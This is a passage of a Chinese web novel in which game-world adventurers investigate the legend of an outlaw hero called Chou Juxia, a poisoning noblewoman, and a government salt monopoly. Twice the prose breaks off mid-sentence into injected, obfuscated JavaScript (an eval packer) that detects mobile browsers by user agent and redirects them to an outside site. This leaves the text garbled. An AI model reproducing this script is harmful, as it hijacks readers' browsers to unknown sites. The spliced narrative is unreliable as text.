白仙贝此前没有玩过这类游戏,在坐马车赶来的路上遭遇了突发事件,被迫拐到了丰城。而成柳原本已经到了原城,在接到白仙贝的传信后,放心不下,便又赶去了丰城。 丰城离原城有段距离,想来二人一时半会儿也过不来了。 于是林清原给二人去了封飞信,让她俩在丰城打听一下消息,着重关注巨侠的传闻,汇合的事明天再说。 在办妥一切后,林清原几人分散在城内,也各自接任务、打听消息去了。 60. 巨侠一事 青台是城内著名的观景高台,伫在一条繁荣的长街上。绿夫人已经在青台顶层定下了小间等候。 林清原等人按约来到小间的时候,正值日暮西斜。小厮打开包间门,窗外的风吹来,将纱帘掀起,像一层薄雾,时隐时现地笼着绿夫人的身影。 她斜倚在窗边的矮榻上,望着窗外的长街。 外面荣街喧闹,绿夫人却通身寂寥,此时的她仿佛是一汪沉静的绿潭,没有了白日的笑闹,只余幽深的悲伤。夕阳的余晖从她身后漫过来,将她的轮廓镀上一层金边,也模糊了她的眉眼。 林清原有种感觉,绿夫人似要融化在这昏黄里,悄无声息地伴着渐去的日光隐匿在长夜之下。 听到小厮的通传,绿夫人扭过头,露出温和的笑容,迎几人落座,为她们斟茶。 “想必诸位是为了巨侠一事前来赴约的。那妾就不多口舌,直入正题了。” 她抬眼,眼神温柔,却潜藏凌厉之意: “在此之前,妾要先问:你们与巨侠是何关系?” “其实……” 徐然张口便要答话,被新记明伸手挡下。 林清原斟酌着开口:“其实忧心巨侠者甚多,不止为其名,也为其所留之宝藏。天下熙熙,皆为利来;天下攘攘,皆为利往。有利图之,人心蠢动。” 绿夫人抿了口茶。 “所以尔等也为利来?” 林清原想到绿夫人看到信后的失态,便推测道: “故人相会,也未尝不可。” 绿夫人凄然一笑:“故人?何来故人?” “时光如梭,匆匆避去。故人之姿,十年如一。” 夕阳已经彻底落入远山下,绿夫人眼中的光亮也一寸寸熄灭。 窗外的灯笼照不到屋内,于是她拾臂合窗,燃香点烛。火苗亮起,她的眼中重新跃起光点。 “妾会将巨侠的事从头到尾细细讲出,如有不明之事,可随时提问。与此相对,你们要付出的报酬是,带我去见巨侠。” 在绿夫人清冽的嗓音中,十年前,甚至更久以前的巨侠生平,被缓缓铺叙在众人面前。 巨侠姓丑,独特的姓氏,也预示着他那不平凡的人生。 丑巨侠原本只是流浪在城外的乞儿,空有人形,却不通人语,日日与牲畜抢食。来往之人皆对其赶之。有一日,过路的府尹突遭劫匪,慌张逃窜时又遇狼群围捕,他本以为会殒命于此,却没想到小乞儿冲了出来,引走了狼群。 等府尹派人找到小乞儿时,竟发现他还全须全尾,甚至身边还有两头被撕开来吃了部分的狼尸! 府尹是位知恩图报的,他升起惜才之心,将小乞儿接回家安置,教其学话,助其开蒙。 而小乞儿果然如府尹所想,是个练武奇才,入门虽晚,却一日千里,不消一年便能单手举石,力克数十人。 原本府尹给小乞儿起名“俊生”,但小乞儿却摸着他脸上的半面红色疤痕,自叫“丑生”。 府尹当然不同意,他为小乞儿打造了半副铜制面具戴在脸上。剩下的半张脸,确实不愧为“俊生”之名。 俊生就在府尹手下生活,三年过去,他成为了颇有名气的侠客,乐善好施,为人称赞。 就在所有人以为俊生的人生就此走向正轨时,府尹一家被灭门了,全家上下,甚至鸟雀走兽,无一活口。而府尹私库里的金银丝帛也尽数消失。 此事惊动了朝廷,朝廷的人在查验现场时,发现了一件事。 府尹遗址里,并没有俊生的尸体。找遍全府,只找到了遗落在府尹身边的半幅铜面。而这半幅铜面,竟一点血尘也未沾上! 众人都说,这是俊生野性难驯,忘恩负义,因为贪恋钱财,便凭借学成的武功灭了府尹一家满门,只在最后离开时将面具掏出,丢在了地上。 于是大街小巷,张贴满了俊生的通缉令,朝廷只待把他捉拿,便可了结此案。 然而两年过去,俊生似人间蒸发,哪怕偶尔听到风声,追过去一看,也毫无突破。 与此同时,江湖上一个姓“丑”的侠客逐渐出现在了大众面前。 此人行踪莫测,做事狠辣。他会在某月十五,挑选一人约战,如果赴约之人战败,那么最迟到次月十五,赴约之人的所有亲眷都会被杀死;就算丑侠提出约战的对象拒绝赴约,为期一月,约战之人及其亲眷同样逃不脱被杀死的命运。 丑侠武功高强,哪怕约战之人缩在众多能人的保护圈中,他也从容地踏月光而来,从不多语,一炷香内取人性命,再从容地踏月光而去。 凡参与过蹲守丑侠的人,皆描述其是个有半面红色疤痕、身形步履如鬼魅的罗刹。 就这样经过了数次追堵,“丑罗刹”的名声响彻在江湖,人人自危,连各家妇人止小儿夜啼,“丑罗刹”之名也比灰狼更甚。 人心惶惶之际,有人发现了一些规律,丑罗刹所约之人,不论外界如何评价,仔细去查,却往往会牵扯出人命官司。或欺男霸女,或残民害物,或长恶靡悛。并且丑罗刹索命的对象,也仅限于约战之人及其亲眷,旁人并无干系。 一时间,“丑罗刹”的名声更甚,民间渐渐有人为其正名,称其为“丑大侠”。 又是两年过去,丑大侠已然成为了“正义”的代名词,但凡其所杀之人,世人第一想法不再是慌张,而是“被杀之人又做了何等恶事”。 就在这时,一桩惊天大案冲破大众视野——江南第一富商全家满门遭丑大侠屠戮,而朝廷派人查过后,断定富商一家并无过错,反而是一心向民的好商贾。 好巧不巧,数年前的府尹一案再度被翻出,结合众多证据,“丑大侠”就是“俊生”的事实被揭于众前。 江湖动荡,传言四起,人们开始怀疑丑大侠是否真的是为了“正义”来“惩罚恶人”,还是从一开始起,他就是为了一己私欲来挑人下手,只是恰好挑中的这些人大多是恶人? 被杀之人的财物不翼而飞是事实,被约之人的无辜亲眷被牵连也是事实。 因此,“绞杀丑侠、还民安宁”的口号甚嚣尘上,朝廷最终决定,将官军与江湖侠士一起,联合围剿丑侠。 在丑侠又一次发送“约战宣言”后,朝廷在被约之人的周边布下了天罗地网,江湖之人蓄势待发,静等丑侠的到来。 这场围剿不是秘密,有人猜测丑侠可能会直接逃走,也可能会暂时离去,择日再来。但是丑侠还是按时赴约了。 这场围剿的具体情况不得而知,只知道这场战斗足足持续了一天一夜,而被重重保护的被约之人,最后还是被丑侠斩于剑下。朝廷收兵的时候,向外界宣布,丑侠已死,在场的江湖人士也辅之以证,丑侠的故事就此落幕。 消息传出去后,江湖为之震动,丑侠彻底被所有人记住,并成为了唯一的“丑巨侠”。 此后十年过去,丑巨侠再没出现在人前,只是总还有些传闻,说其实当年那场围剿,丑巨侠并未死去,他拖着残躯成功离去了,而且在之后,被约之人的亲眷虽还活着,却家族衰败,钱财流失。 “巨侠的宝藏”便作为一则秘辛流传了下来:丑巨侠其实现在正隐居在某处,武功尽失,且身怀多年搜集来的巨大财富,若有人能找到他,便可收下这富可敌国的宝藏。 听完故事,林清原问:“若是如此,你有何理由要见巨侠?他据描述,是个颇为残暴的人。” 绿夫人的表情无甚变化:“你们不用管我的理由,只需要带我去见巨侠即可。” 徐然没忍住:“那你要是见到他了就被杀了呢?” 绿夫人微微偏头,表情无甚变化:“你们不用管我的理由,只需要带我去见巨侠即可。” “好嘛,”徐然撇撇嘴,“剧情走完了,要选对下一步才能继续进行是吧。” 新记明闻着屋内好闻的熏香,突然想到了什么,点开个人界面一看: “你对我们下毒了?” 林清原闻言也看了眼自己的面板,上面赫然多了一个状态栏:绿夫人研制的香毒,若无解药,七日后必死。 绿夫人微微一笑:“妾只是一介弱女子,没有些防身的手段,早在这吃人的时代里活不下去了。” 她见几人并未暴起反抗,甚是满意:“诸位大侠请原谅妾的自作主张,这毒并不会对诸位的身体造成影响,只是这解药,只有妾知道……你们既然能送那封信来,就代表你们是最有可能知道巨侠下落的人,想必‘找到巨侠’这个要求,对你们来说也并不为过。若是真有宝藏一事,找到巨侠后,他的宝藏,你们尽可拿去,如何?” 若是寻常侠客,听到这番话也就应了下来。毕竟性命在其手中,宝藏的诱惑也着实不小。可林清原几人是“译者”,“故事”内的“宝藏”对她们而言又带不出去,“七日”的“催命毒”,也只要在七日内找到“核心”、脱离“故事”就毫无影响。 不过按照正常的剧情走向,“巨侠”确实是最有可能和“核心”相关的人物,所以接下这个任务也未尝不可。 林清原问:“那封信写了什么?”她作势要走,“想要找到十年来都未有一人找到的巨侠也不是这么容易的。大不了,江湖儿女,十八年后又是一条好汉。” 绿夫人犹豫了下,还是将信交了出来。 “小绿,多年未见,吾韬养颐年,偶逢数子,谐趣如故,恍忆童稚之欢。今昔殊途,愿汝持金,勿念勿寻。天涯两忘,各安所之。” “所以巨侠真的没死?”林清原问。 绿夫人敛下眼:“妾所用之毒,虽七日后自行发作,妾亦可提前驱动,望诸位侠客谨言慎行,保守秘密。” 徐然问:“既然你和巨侠是旧识,那他装作自然死去不就可以了?为什么隐匿这么多年了,还要忽然寄信来扰你清静?他不怕再次遭遇围剿吗?” 绿夫人抚上自己的脸,她的美貌在烛光照耀下夺人睛目。 “诸位觉得,妾今年何等年纪了?” “十八九、或者二十出头?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477827|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >绿夫人抿嘴一笑,“妾今年已经二十有二。” 她的美目涌上热泪。“我已苦寻他多年,劳神伤心,沉病缠身,便是有再多金又有何用?算来算去,恐也只有几年光景了。他也自是知晓我的近况,才会迫不得已寄信而来,好让我安心生活。只是,我怎会如他所愿?他又怎敢…!” 绿夫人拿帕子按了按眼角,擦去泪水。她的神色悲伤,却眼含坚定:“此事虽为请求,却也算我的遗愿。若是他真的因此再遭围堵,想必他也早有预料。而我若再寻他不得,恐此生永不得见了。” 离开青台的时候,外面已经在敲更了。为了避免在宵禁时刻被发现还在乱逛从而被抓进大牢,几人匆匆寻了处客栈住下了。 入夜后,新记明敲响了林清原的房门。 林清原和徐然正点着小灯等他。 几人压低声音探讨着信息。 新记明说:“我下午打听到的消息和绿夫人说的有所不同,据坊间传闻,巨侠他是个无恶不作的家伙,并不是只杀约战之人及其亲眷,而是但凡江湖上有人说了他的坏话,他便会前去寻仇。” 徐然点头:“我这边还有传言说,巨侠其实是‘采花大盗’呢!因为激起了民愤,最后才会被朝廷和江湖能人联手围剿。” 林清原打听到的消息也参差不齐。普通人对已经消失十年之久的巨侠没太多印象,武林人又对巨侠一事众说纷纭,单分析几人一个下午打听到的版本,就有不下五种。 唯一有所确定的,就是十年前的朝廷和江湖的联手围剿一战了,正是那场围剿令巨侠扬名。 新记明:“我还是偏向于相信绿夫人的说辞。” 林清原也表示赞同。 徐然不明白:“绿夫人都对我们用毒了,还要相信她吗?” 林清原向她解释:“综合来看,绿夫人说的话明显更有可信度。她讲述的故事逻辑链十分完整,而且她的一系列反应也很符合剧情发展。” “符合剧情发展?” “别忘了这次的‘故事背景’是‘游戏’,咱们下午打听到的那些顶多算是小道消息,绿夫人讲出来的话,可相当于是‘重要NPC’引出的‘主线故事’啊。” 徐然想了想,觉得有道理。通关“故事”,最重要的一点就是要找到“逻辑”最合理的地方持续跟进,完善了故事线,离通关“故事”就不远了。 她以往进“故事”都是这么做的。 她还有一个疑问:“那为什么要执着于‘巨侠’的故事线呢?巨侠的事已经十年未曾提起,而且目前打听到的消息种类有很多,关于朝廷立太子的事的热度也很高啊。” 新记明答:“一方面是因为有绿夫人的任务,另一方面是因为,巨侠一事是现实世界里游戏的‘暗线’。不论从哪方面看,都是巨侠的线索最为主要。” 徐然傻眼:“啊?这跟‘武林争霸’相关吗?” 林清原纳闷:“你不是也玩‘武林争霸’吗?你不知道这剧情吗?” 徐然有些不好意思:“哈哈,剧情有跳过按钮嘛,那还干嘛要看……我就只是个无情的刷本机器罢了。” 她挠了挠脸,又问:“嗯……还要结合现实的线索来推断‘故事’的线索的吗?难不成每一个‘故事’都有这样的关联?” 林清原倾囊相授:“对啊,每一次的‘故事’,都一定是有现实世界的故事基础的。因此在进入‘故事’前,根据故事传闻的热度、完整度等方面,就能进行大致的‘押题’,就算押不中,查过的一些资料也往往能带来出其不意的帮助。” 比利甩了甩尾巴,点点头。 徐然十分佩服:“怪不得万事屋的办事效率那么高呢,而且委托好评率是百分百,原来你们不仅找到了‘故事’的规律,还有了自己的‘刷题方法’啊。我们这些小趴菜,都还只停留在‘如何活下去’这个阶段呢。” 她斜趴在桌子上,哀叹:“唉,不知怎的,想起了以前高中时候做阅读理解时的痛苦。怎么要分析这么多呢?”她偏过脸,问: “是不是这次‘故事’有‘游戏’参考,通关就轻松多了?反正在游戏里就算死了,也能在复活点复活。” 新记明提醒:“那你见到哪里有‘复活点’了吗?再怎么以‘游戏’为背景,我们可是以真人的形态进入到‘故事’里的,肯定还是‘故事’的优先级更高,一旦死亡,就是真的死了,几乎不会有例外。” 经历过“例外”的林清原也告诫她:“任何‘故事’都不能掉以轻心,将这次‘故事’和‘游戏’联系在一起思考,是为了更好的分析线索,而不是为了用‘游戏’中的‘复活’来麻痹自己的行动。” 徐然乖乖地受教了。她心中的敬佩之意又上升了一个度。 又有经验、又有实力,为人温和、又思虑周全,不愧是万事屋啊! 她边琢磨着学到的这些东西边躺下了,入睡前,她心里的那个念头格外强烈: 出去之后,一定要给万事屋打个千字好评! 61. 江南盐商一案 第二日,林清原几人各自忙碌在打听消息的路上。 原城作为主城之一,规模自然不小。林清原从早上逛到中午,也只勉强逛了小半个城。 可惜进程还是同昨日差不多,想要从小道消息着手的难度超乎想象。并不是所有普通人都愿意和武林人打交道,而武林人那边的消息,要么一言不合打起来了,要么要价虚高。 如果是免费得来的消息,那还要多一个步骤,去验证这条消息的可信度。 信口雌黄的武林人多不计数。 林清原苦恼地叹了口气。低头见比利已经热到要走不动路,便打算带着它去凉茶摊歇歇。 没想到刚往前走了几步,她就眼前发黑,险些摔倒。 “呕——” “比利?!” 林清原慌张地查看比利的情况。 比利在吐完之后,已经一步也动不了了,虚弱地翻起白眼,连鼻子都干了。 林清原费力地把比利往凉茶摊拖,可是变大了数倍的狗狗的体重也是增长了数倍,加上它此时已经几乎无法自行起身助力,短短一段路,拖的是分外艰难。 最后还是凉茶摊的摊主过来搭了把手,才成功把比利运了过去。 刚在摊位坐下,摊主就送来了两份凉茶。 林清原道了声谢,便端起一份一口饮尽了。 凉茶摊主在旁边看着,问: “女侠,你这狼王是从哪收的?黑白毛色可不多见!瞧这样子是中暑了吧?毛长嘛!” 中暑? 林清原想起了状态栏,正准备查看,就喉咙一酸,扭头吐了一地,然后摔在了比利身上。 “哎呀妈呀!快叫郎中!” 一阵鸡飞狗跳后,林清原躺在医馆了里间的小床上休息。比利个头大进不去,就蔫蔫地趴在诊堂的地上。 “药好了,来把药喝了。” 郎中端着熬好的药送到林清原床边,苦涩的药味让她下意识排斥,但是想起状态栏上那明晃晃的“中暑”图标,还是硬着头皮喝完了。 喝下药,“病痛状态”终于开始显示“缓慢治疗中”的倒计时,林清原虽然还觉得恶心反胃,但是已经可以下床活动了。 她来到诊堂,正好看到郎中端了一大盆中药放在了比利面前。 看那盆的样式,她怀疑这是临时征用了洗脸盆。 比利被药苦味熏得直摇头,奈何身体还在酸软,没法躲开。见到林清原出来了,它立马像个受了天大委屈的二百斤宝宝,嗷呜嗷呜地诉苦。 郎中被吵得头疼,一巴掌拍在了比利的脑壳上。 虽然这巴掌的力度对于比利目前巨大的脑袋来说只如轻轻抚摸了一下,但是这巴掌的含义让它愣住了。 愣住之后,是更癫狂的嚎叫。 “汪汪!汪嗷!嗷嗷嗷嗷嗷嗷!!!!!” 比利委屈啊!这可太委屈了!委屈得让郎中也感同身受,代替它哭出了眼泪。 “呜啊啊啊,我哩店都要被这只狼狗吵翻了!” 林清原一把举起药盆,找准角度,精准而迅速地灌进了比利张开的嘴里。 嚎叫声戛然而止。 比利下意识把药全咽进了肚子里,巨大的苦味后涌上来,逼得它掉了几滴眼泪。 它还想继续嚎,却被林清原捏住了嘴筒子。 “乖狗,你要是再嗷嗷乱叫,或者敢把药吐掉,那回去之后就加十倍训练哦,营养餐也变成蔬菜塔哦,只有西蓝花和白菜的那种哦。” 林清原面带笑容,语气温柔,说出的话却如同恶魔的低语,让比利深刻回想起了被逼着吃蔬菜的痛苦。 比利“嘤嘤”着趴回去了,眼泪“啪嗒啪嗒”的掉,看着很是可怜。 郎中大喜,赶忙从旁边拿来一个新盆,放到了比利的眼下,接住它流出的泪。 “这可是‘狼王泪’啊!说不定能当新药材啊!太珍贵了!” 他来不及接另一只眼睛流的泪,就连忙指挥着林清原去接,直到比利一点也哭不出来了,还犹不死心,扒着它的眼睛问:“不流了吗?真哩不能再哭个一天一夜吗?” 比利咧开嘴,露出利齿威胁,没想到这个老郎中胆子大的很,压根不害怕,甚至在琢磨“狼王哩牙跟普通狼哩牙有什么区别?能当药材吗?” 比利就把嘴紧紧闭上了,眼睛也闭上了,头也埋在了爪子里,一副拒绝再跟郎中有交集的模样。 郎中把“狼王泪”妥善保存好后,又端来了新的水。 “淡盐水,喝一点。” 林清原尝了一口,惊讶道:“好喝!你还加了别的吗?” 这淡盐水不似普通的加了盐的水,咸味不重,倒是有股略奇怪的苦味,然而这苦味丝毫不会让人不适,被舌头一抿,就转为了麦香,和这略清淡的咸味是绝搭。 郎中很得意:“这可是‘麦粒盐’!基本只供给宫里用哩,外头也只有少部分药堂才有份额作药材。我这可是原城独一家!” 林清原又喝了几口,感觉身体都变得舒服多了。 林清原顺着夸了几句,就收到了新邮件提示。一看是成柳发来的,便留下比利在这休息,她去找信使。 成柳连着寄来两封信,一封字数上限了,又接着第二封继续写。 林清原看完信就返回了医馆,路过凉茶摊的时候,给了摊主一些银子作赔偿和感谢,然后就收获了摊主倾情赠送的小饼子。 医馆里,比利的状态已经好了很多,粗壮的尾巴也已经有力气甩动了。 不过老郎中的状态就不怎么好了。他左右奔波着,尽力护住医馆里的设施,免得被比利破坏掉;又不能去扑身抱住尾巴防止它乱动,就算比利再怎么放轻力度,单这长近两米的大尾巴本身的力量就不容小觑了。 “哎呦我哩狼狗狗,你可白摇尾巴了!” 林清原恰好在这时候踏进医馆。 比利瞥见林清原的身影,一时激动,尾巴摇的更欢了。 可怜的老郎中躲闪不及,差点被尾巴甩中。还是林清原飞身跃起把他带到一旁,才免于被打飞的结局。 比利自知闯了祸,扭扭捏捏地调头打算过来撒娇,被老郎中声嘶力竭地制止了: “你白动!” 林清原也喊:“尾巴也别动了!” 比利僵在原地,大气不敢喘。 郎中缓了口气,把比利带到了院子里。 “这里地方宽,你只要白跟个兔子一样跑,就砸不到东西。” 比利感动极了,它“汪汪”了两声,决定原谅这个老头给自己灌苦药汁的事。 林清原站一旁提醒:“傻孩子,给你灌苦药汁的是我。” 比利充耳不闻,开心地舔了郎中一脸口水。 郎中振臂高呼:“狼王涎水!这说不定也能是种药材!” 林清原扶额:真是服了这个药痴郎中了。 制止了郎中还想逼比利拉出“狼中黄”[1]的打算,她问: “大夫,我想买点‘麦粒盐’,你这儿报价多少?” 郎中神情一肃,摆手道:“卖不了。” 林清原:“钱不是问题。” 郎中:“不是钱哩问题。” 他捋了把胡子,说:“你这人,难道这十年来都在深山老林里过哩吗?朝廷早就不准私自买卖盐了!” 林清原想了想,又问:“那这盐叫‘麦粒盐’,难不成是用上了麦子?” 郎中的胡子被一不小心拽掉了几根。“哎呦我滴个乖乖,你还想做私盐?!掉脑袋哩事儿啊!可白想了!” 林清原又问了几种盐,把郎中问的啧啧称奇: “恁这些江湖上跑哩都这么怪吗?珍惜哩盐种知道这么多,却不知道买私盐哩禁令?” 林清原学着老郎中的口音,随口编了个理由:“俺一直都跟师傅在山上练武哩,这狼也是从小养到大哩,这不是听说巨侠的宝藏有消息了,才下山来瞧瞧嘛!” 郎中一脸“原来如此”的表情:“怪不得狼王都能给你养哩像狗一样,原来是从小养哩。” 他走到桌旁坐下,林清原很有眼色的去小厨房里提了壶茶水过来,又把凉茶摊主送的小饼子拿出来摆上桌子。 郎中啃了口饼子,笑呵呵的:“香!” 他慢悠悠地吃了半个饼子,又喝了一杯茶,才开口道: “你想买盐啊,普通哩吃盐带着户籍去盐铺就能买了。特殊哩那几种,要么是朝廷特供,要么是要拿着商贴去报备采购。别哩一点办法都没有。你要是说十年前,那倒是还没这些规矩。” “十年前?”林清原捕捉到这个关键时间点。 巨侠被围剿也是十年前,难道盐的禁令也和巨侠有关? 她问:“丑巨侠?” “对咧。他十年前犯了个大案,你听说过不?” 十年前的大案,就只有那场“江南富商灭门案”了。 “江南富商……是盐商?” 郎中点头。“不错。他就是当年江南最著名哩盐商啊。当时盐能自己做,他就是做最多哩那个,做哩种类也最多,买啥盐都中,就是贵点儿。不过江南那块儿盐价还可以,不算太贵。后来嘛,被灭了,他手底下哩盐没人吃哩下,最后都让朝廷收走了。” “之后盐就归官府管着了?” “对。所以现在你想买吃盐以外哩盐,是买不到哩。” 林清原心里有了个猜测,但暂时没有多问。 她惦念着成柳寄来的信,上面说“特殊的盐种可以用来当献祭的材料,我拿不出户籍买不到盐,拜托老大找一找”,于是问了郎中最近的盐铺在哪。 得知了盐铺的位置,林清原当即动身。 盐铺的生意很火爆,买盐的队伍排了很长。 不过林清原没打算乖乖排队。以她现在的实力,只要用上能力,就能恍若虚影般悄无声息地潜进盐库。旁人顶多只会觉得眼前一花。 盐库有兵看守,不过林清原耐心等了会儿便找到了时机溜了进去。 可惜这里只有两种稀有盐。 估计普天之下,就只有皇宫里有全种的盐类了。 林清原取够了盐,便去信使那给成柳寄信说明了情况,邀他和白仙贝今日下午来原城一起行动。 白仙贝和成柳一直在一起,打听到的消息基本都让成柳代劳写信了,而她就是写信来唠唠家常、报个平安,顺便寄点丰城特产的。 林清原收下来自丰城的糕点,随后再次回到医馆,送给了郎中。 这郎中是个有本事的,从他是原城唯一有特殊盐种的医馆中便可见一斑,找他打听消息准没错。 比利此时已经彻底恢复了健□□龙活虎地跟着郎中打闹。 郎中对丰城的糕点很是受用,他连连夸赞:“好好好!早听说丰城哩点心好吃,今儿个也算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这则消息的时间和地点都很微妙,林清原不由得再次联想到盐商身上。恰好她也在之前的交谈中对盐商灭门一案有所猜测,便张口问出: “十年前的盐商一案,难道内有蹊跷?难不成是朝廷想收盐,但是没有好理由开刀,就把江南第一盐商的事推到了巨侠身上?” “哎呦这话说哩,你真不怕掉脑袋啊!” 郎中疯狂摇头,还往大门处看了看,确认门是关好的,才继续说:“你也不想想,巨侠做好事都不留名,做坏事偏偏留名,说是约战,怕不是寻仇哩。” 林清原略略一想,就感激地冲郎中抱了抱拳:“多谢大夫。” 别看郎中一直在否定林清原的猜测,他说的话也东一句西一句的让人怀疑是不是年纪大了记不住事了,实际上他已经把能说的都说了。 一,巨侠的宝藏,存疑。因为巨侠会散财济贫,他的财,很可能就是被约的那些恶人的“富”。如此一来,他能留下的“宝藏”,大概率很少或者没有。 二,巨侠在百姓中的形象其实颇为正面,但是为何现在打听到的版本,对巨侠的评价参差不齐、甚至有说他是纯恶人的?大概率是有人在推波助澜,至于是谁……“恶人”巨侠死去,对谁最有利呢? 三,江南第一盐商灭门案,是朝廷下的手。众所周知,巨侠在约人决斗的时候,会提前放出邀请,并选定在某月的十五,而后的一个月内,才慢慢解决其亲眷,多年来从未变过。那为何盐商一家,会在那月十五忽然被灭?虽有消息称,巨侠已经提前给盐商家主发去了约战贴,但是为何独独只有盐商,是一家人同时被杀呢? “巨侠做好事都不留名,做坏事偏偏留名”,这句话已经非常清晰地点出了:巨侠没有做过屠戮江南盐商满门的事,自然也不会承认。 那不是巨侠下的手,还能是谁? 江南第一盐商被灭后,朝廷趁此机会收盐为公有。为什么在此节点会出现“物价变动”呢?还是足以引发数场暴动的大变动?大概率是因为朝廷收盐的手段让其余盐商无法接受。为了避免损失惨重,他们必定会选择一条不利民、也不利朝廷的路。盐价上涨,其余产业也牵一发动全身,这才会引起物价的大型波动。 综上所述,江南盐商一案,真实情况其实是:朝廷想收盐为公有,但是江南的私盐产业已经极为发达,且已经有了成熟的市场体系,朝廷想半路截食几乎不可能,便干脆釜底抽薪,制造灭门案推给巨侠,顺便可以以此借口来打击巨侠在百姓心中的良好形象,维护朝廷的地位。 四,巨侠的几年“约战”,或许不是随机选人,而是“寻仇”?谈起寻仇,最有可能的便是“府尹灭门案”,如果再细查这个案子,说不定会有新的发现。 林清原暗自心喜。果然找老郎中打听巨侠消息是个正确的决定! 郎中笑着摸了把毛茸茸的比利,狮子大开口:“要不给我几斤狼王毛?我试试经过处理后能不能变成新的药材?” 比利“啊呜”一口把郎中的脑袋含嘴里了,把林清原吓了一大跳。 老郎中倒是非常兴奋,两个手乱扑腾,闷闷的声音从狗嘴中传出: “快给我递盆和刀片!全是涎水!舌苔说不定也能刮下来用!” 林清原瞬间从收获消息的喜悦中脱离了,她仰天长叹: “真是够了!” 62. 太子之位 酒楼,林清原刚点好饭菜,新记明和成柳就来到了包间。 新记明看了一圈,不见比利的身影,问:“比利呢?” “它太大了,进不来,就让它去城里刷任务了。” 林清原一想起比利被小二拦在酒楼外的哀怨模样就觉得好笑。 饭菜逐渐上来,几人边吃边聊。 徐然说:“我查到了很多线索。巨侠其实会悄悄散财给贫苦人民,知道吗?” 林清原点点头:“知道。” “还有,巨侠每次约战,都是提前几天发战贴,再在当月十五赴约。连当时江南富商案,也是提前发的战贴。” 林清原很淡然地吃了口菜:“嗯。” 徐然抛出了一连串的坊间传闻,林清原听了也没太多表情,只敷衍地回以三句夸夸: “这样啊,真的吗?那很棒啦。” 徐然欲哭无泪,说出了压箱底的线索: “其实巨侠他还有个青梅竹马,巨侠在明,青梅在暗,他俩一起制定计划惩治恶人。后来江南富商掳走了青梅,巨侠才会冲冠一怒为红颜,屠其满门!” 徐然本以为这个消息会引得林清原侧目,没想到后者还是一副“早就听过”的模样,让她顿感挫败。 林清原鼓励她:“青梅的消息可不好打听到,这故事主要在丰城那边流传呢。真厉害!” 徐然又开心了:“是吧?这消息可是爆炸性的!只要能找到这个‘青梅’,那不就能知道巨侠的下落了?” 林清原:“那倒不会。毕竟‘青梅’咱们已经见过了。” 徐然茫然:“啊?见、见过了吗?” 新记明答:“绿夫人就是。” 徐然:“啊?她什么时候说她和巨侠是青梅竹马了?” 林清原问:“你忘了巨侠写给她的那封信了吗?” 徐然震惊:“我能看出来那是写给‘故人’的信,可是你们怎么就断定绿夫人和巨侠是青梅竹马了呢?我们不是一起见的绿夫人吗?” 林清原笑了笑:“我原本并不知道,是今天中午得知了‘青梅’的故事,才意识到的。” 成柳中午给林清原寄了两封信,主要就写了两件事,一件是拜托找盐,另一件事,就是把丰城那边打听来的所有关于巨侠“青梅”的事写了个遍。 正是有了“青梅”的故事作为辅助推测,林清原才能那么快猜出江南盐商一案的真相。 徐然萎靡了:“原来我打听到的所有消息,你们早就先我一步知道了。呜呜,我毫无用武之地!” 新记明安慰她:“你找到的消息很有用,我是听了你刚才说的‘青梅’,才确认绿夫人的身份的。小鹤是特殊的。” 徐然的八卦之心瞬起:“哦~小鹤~是特殊的~” 新记明面不改色地给林清原夹了一筷子菜:“这个好吃,你多吃点。” 自从他下定决心要正式追求林清原,他就决定尽量直面内心变得直率一些。尽管还没能来得及回家问一问父亲是怎么追求母亲的,但是新志平早就潜移默化地炫耀过他和明娇的幸福日常: “圆柱啊,追女人呢,要有耐心。尤其对待老婆,更要有耐心。在老婆面前,面子什么的都不重要,老婆才是最重要的。” 明娇也弹他脑瓜崩:“教你懂礼貌,不是让你把什么心思都憋心里的。臭小子,你以后遇到喜欢的人了还一副闷葫芦样可怎么办!” 看到林清原的笑脸,新记明就觉得自己的努力改变是对的。 [母亲,我不做闷葫芦啦!我要追老婆!] 徐然说完自己的收获,轮到林清原说。她刚简单说了两句,小二就领着新的客人来敲门了。 是白仙贝和成柳到了。 白仙贝一见到林清原就扑到了她的怀里,向她诉苦自己这两天的“悲惨遭遇”。 先是因为不熟悉看游戏地图,走反到杏花村另一边,误入虫子窝,吓得任务都没做就直接跑了;然后接到林清原的信打算赶往原城,结果因为接的任务没完成,触发了隐藏分支,直接坐上了“假车夫”的车,半路被拐丰城去了;好在到了丰城之后人多,她趁乱逃跑了,却又不小心闯入了恶帮的领地,幸亏被路过的丐帮人士救了。随后她便跟着丐帮一起行动。 成柳找到白仙贝的时候,她已经彻底融入了丐帮,涂了大花脸,柱了打狗棍,正气宇轩昂地在酒馆拼酒。 成柳石化在原地,被丐帮的其他人发现了,就一起拉过来当兄弟了。 她俩在丰城的这两天,可是凭借丐帮的人脉和身份掩饰,打听到了不少江湖消息。离别来原城的时候,丐帮的大哥大姐们还凑了几葫芦酒,当做践行礼物。 林清原尝了一口葫芦酒,入口顺滑,唇齿生香,沁人心脾,简直是酒中绝品! 再一看状态栏,上面有了堪称恐怖的增益: 【酒劲】当前力量、耐力、敏捷属性翻倍,持续一分钟,不可叠加。如在[酒劲]持续期间血量掉到百分之十以下,则瞬间回复百分之六十血量,二十分钟内只可生效一次。 林清原两眼放光,小心地把酒葫芦收了起来。 白仙贝十分自豪:“这酒是不是特别厉害?这可是俺们丐帮的秘酒哦!” 徐然感激得想落泪。她都不是万事屋的人,竟然也能收到这么厉害的酒葫芦!万事屋的大家真的太好了! 